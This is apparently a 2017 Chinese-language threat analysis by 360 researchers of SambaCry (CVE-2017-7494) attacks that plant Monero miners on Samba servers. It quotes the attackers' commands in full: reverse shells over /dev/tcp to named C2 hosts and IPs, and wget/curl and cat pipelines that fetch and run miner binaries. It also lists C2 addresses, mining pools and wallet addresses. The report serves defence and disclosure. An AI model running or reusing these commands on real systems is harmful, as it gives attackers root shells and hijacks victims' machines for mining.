Author: redrain & houjingyi159 @360网络安全响应中心
2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析,确认属于严重漏洞,可以造成远程代码执行。
http://blogs.360.cn/blog/samba远程代码执行漏洞cve-2017-7494分析/
SambaCry漏洞是一个具备规模传播的蠕虫性质漏洞,近期卡巴斯基安全实验室通过蜜罐捕获了一个通过SambaCry漏洞恶意利用bot进行区块连数字货币挖矿的攻击。
在此,360网络安全中心和360追日团队对该事件所使用的后门进行了具体的技术分析。
因为该漏洞需要对smb共享盘符有可写权限,从卡巴斯基实验室的蜜罐捕获的攻击包来看,攻击者首先对server尝试写入一个随机字符名的文件,成功后则删除。
在检测成功有可写权限后,攻击者暴力猜解写入文件的完整路径,以获得共享目录路径,并写入恶意lib作为payload。
在爆破到正确的路径后,则利用CVE-2017-7494漏洞加载恶意lib执行命令,因为samba默认是以root权限启动,所以之后加载lib执行的命令也将以root权限执行,成功利用后,则删除写入的lib,只在内存中执行恶意命令操作。
恶意lib样本349d84b3b176bbc9834230351ef3bc2a_16106.so(INAebsGB.so)
和2009af3fed2a4704c224694dfc4b31dc_30361.so(cblRWuoCc.so)
在INAebsGB.so
中,攻击者用/bin/sh
执行了一个非常简单的反弹shell操作,从而执行下载文件或者执行后续命令。
发现这个lib其实就是metasploit的is_known_pipename
模块生成的。
其后,写入了另一个libcblRWuoCc.so
,在这个lib中,攻击者,反弹shell到C2服务器4000端口并下载了一个挖矿程序,将bot作为CPU矿机使用,这个样本中,我们定位了C2服务器和挖矿程序。
执行的行为中:
bash -i < /dev/tcp/rc.ezreal.space/4000 || ((wget http://rc.ezreal.space/minerd64_s -O /tmp/m || curl http://rc.ezreal.space/minerd64_s -o /tmp/m) && chmod +x /tmp/m && (nohup /tmp/m &))
攻击者下载http://rc.ezreal.space/minerd64_s
并存于/tmp/m
赋予权限后nohup执行。
简单对C2服务器查询如下:
rc.ezreal.space
A记录 149.255.35.33
时间 IP 国家 省/州 运营商
2017-05-17 149.255.35.33 美国 伊利诺伊州 swiftway.net
2017-05-15 149.255.35.33 美国 伊利诺伊州 swiftway.net
2017-04-30 185.86.150.76 瑞典 西约塔兰省
www.ezreal.space 191.101.31.100
cl.ezreal.space 191.101.31.100
rc2.ezreal.space 149.255.35.77
rc.ezreal.space 149.255.35.33
在我连接C2服务器rc.ezreal.space
4000端口后,看到了以下脚本:
#!/usr/bin/env bash
host='149.255.35.33';
nohup bash -i < /dev/tcp/${host}/4001 &
nohuo bash -i < /dev/tcp/${host}/4002 &
nohuo bash -i < /dev/tcp/${host}/4003 &
攻击者本想通过nohup来忽略系统挂断进行后台运行,但不知道是不是粗心手抖的原因,nohup
打成了nohuo
访问其他三个端口,得到这几个脚本:
➜ /tmp nc 149.255.35.33 4001
#!/usr/bin/env bash
#minerd script
host='149.255.35.33';
target=$RANDOM; target+=.so; target=/tmp/$target;
cat < /dev/tcp/${host}/5000 > $target && chmod +x $target && nohup $target &
➜ /tmp nc 149.255.35.33 4002
#!/usr/bin/env bash
# process guard script
➜ /tmp nc 149.255.35.33 4003
#!/usr/bin/env bash
# auto start script%
C2中5000端口获取到的miner程序和从http中下载获得的一致
到现在为止,这个C2服务器依旧存活,下载minerd64_s
并简单分析,发现就是个常见的CPU挖矿程序miderd
但是攻击者并没有像常见的附加参数,而是把所有参数硬编码进程序puts了需要执行的参数。
在这里很快找到了攻击者的矿池和钱包地址:
.rodata:0000000000515604 00000026 C stratum+tcp://xmr.crypto-pool.fr:3333
.rodata:00000000005156CC 00000060 C 43xtViRHn1oibjS6yZSgS6XhFFkSRGC5SHgmymH6ei4r5osjPrC1z85BeCZS89ZtL4iDGDoUhEoKtcVe115Wp7sB6XzHmgy
通过矿池Transaction查询,得知该攻击者挖的是一种山寨币’XDN’和’XMR’,查看近期的转入情况,发现收益还不错:)
本以为至此我们的分析和卡巴斯基相差无二准备下班回家,但发现360追日团队还提供了一个样本1bb17e0d03ebd5acafbe60b70e38dec4.so(oooo.so)
该lib和cblRWuoCc.so
非常类似,但是执行操作并不同
仅仅只是反弹连接了C2服务器的一个端口,连接后返回一个shell脚本:
#!/usr/bin/env bash
#minerd script
pkill .so;
host='45.76.146.166';
target=$RANDOM; target+=.so; target=/tmp/$target;
cat < /dev/tcp/${host}/5555 > $target && chmod +x $target && nohup $target &
访问45.76.146.166:5555 又得到一个miner程序,该miner的区别在于矿池和钱包地址
.rodata:0000000000515604 00000024 C stratum+tcp://pool.minexmr.com:4444
.rodata:00000000005156CC 00000060 C 4AxoWMDfiPkh1PDHeyDi2TRpHC8hxHKY6ACtWRSY9Um4PuwPqjn9vAhdsSshmGu1RbZBUgKX42f584jGENHwXxsVGENHoGV
从SambaCry漏洞披露之初我们就预计将会有黑客对其进行恶意利用,并从中获利,联想到不久前因为EternalBlue爆发的Wannacry事件,黑客攻击正在变得常态化,尤其是有通用且极易利用漏洞曝光时,攻击事件也可能随之而来。随着比特币的增值,其他虚拟货币价值也伴随增长,这也给黑客通过网络攻击进行获利提供了变现渠道。。
2017-5-24 Samba发布了4.6.4版本,修复了远程代码执行漏洞CVE-2017-7494
2017-5-25 360网络安全响应中心和360信息安全部联合发布预警公告和第一份漏洞分析
2017-5-30 卡巴斯基安全实验室首次通过蜜罐捕获了SambaCry的野外恶意利用
2017-6-12 360网络安全响应中心和360追日团队联合对攻击方式进行技术分析